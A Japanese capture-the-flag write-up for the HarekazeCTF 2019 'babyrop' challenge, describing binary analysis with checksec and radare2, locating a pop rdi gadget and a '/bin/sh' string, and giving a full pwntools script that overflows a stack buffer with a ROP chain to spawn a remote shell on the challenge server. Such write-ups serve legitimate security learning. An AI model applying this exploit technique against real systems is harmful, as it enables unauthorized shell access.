HarekazeCTF 2019「babyrop (100pts)」之解き方
はじめに
5月18日、 #HarekazeCTF に「NekochanNano!」の一員として参加させていただきました。最後に510ポイントを集めることが出来、私たちは523チームが参加する中、68位で終えました。
babyrop
プログラム解析
ncatで接続可能なアドレスとポート番号に、ELFバイナリを手に入れます。
まず、checksecを使い、ELFのセキュリティ機構を確認します。

RELRO、スタックカナーリやPIEが無く、すっごく助かります (^^;
これらのセキュリティ機構について、詳しくはこちらの記事をご参照ください。
次にradare2で開き、main関数の逆アセンブリを解析しましょう。

結構簡単なプログラムですが、動作を言葉で説明すると、下記のような感じでしょうね
echoシェルコマンドの文字列をrdiに用意、systemを呼び出すのでメッセージを出力するscanfを使い、任意なサイズの入力をスタック変数(rbp-0x10)に読み込む- フォーマット形式と、
rbp-0x10(前の入力)をレジスタで指定、printfで入力を含めたメッセージを表示する
この問題の名前が「babyrop」なので、そしてスタックカナーリがないため、ROPが使うべきだとわかりますね。
それでは、ROPを使うのでsystem("/bin/sh");を実行することを目的としましょう。
シェル奪いの作戦
systemを呼び出せば、引数を正しく用意しないといけません。mainの逆アセンブリを参考とし、systemを呼び出した前に、シェルコマンド文字列へのポインターをediで指定したことがわかりますね。ちなみにediですが、この場合に一緒なので、rdiを使ってもOK。
したがって、ediあるいはrdiに値を指定するいわゆる「ROP Gadget」が必要となります。良かったことで、radare2にはそういうガジェットを発見するという機能がありますので、pop rdiのガジェットを探してもらいましょう。

さすがradare2ですね!よって0x00400683には、pop rdi; retという命令が存在することがわかりました。
また、ポインターで指定できる"/bin/sh"の文字列を検索しましょうか。

よし。0x601048には、"/bin/sh"という文字列が置いてあるようです。これで、「ROP Chain」の準備がやっとできました!
エクスプロイト作成
#!/usr/bin/env python2 # -*- coding: utf-8 -*- from pwn import * from time import sleep pop_rdi = p64(0x400683) addr_binsh = p64(0x601048) call_system = p64(0x4005e3) payload = "a" * 0x10 # バッファーを超える payload += "b" * 8 # RBP payload += pop_rdi # ガジェットに移動する payload += addr_binsh # rdiにpopされる payload += call_system # 関数の呼び出しに移動する # sock = process(["./babyrop"]) sock = remote("problem.harekaze.com", 20001) sock.readuntil("? ") sock.sendline(payload) sleep(1) sock.interactive() sock.close()
シェルを奪い!

以上 HarekazeCTF-2019の「babyrop」のライトアップでした。
最後まで読んで頂き、ありがとうございました!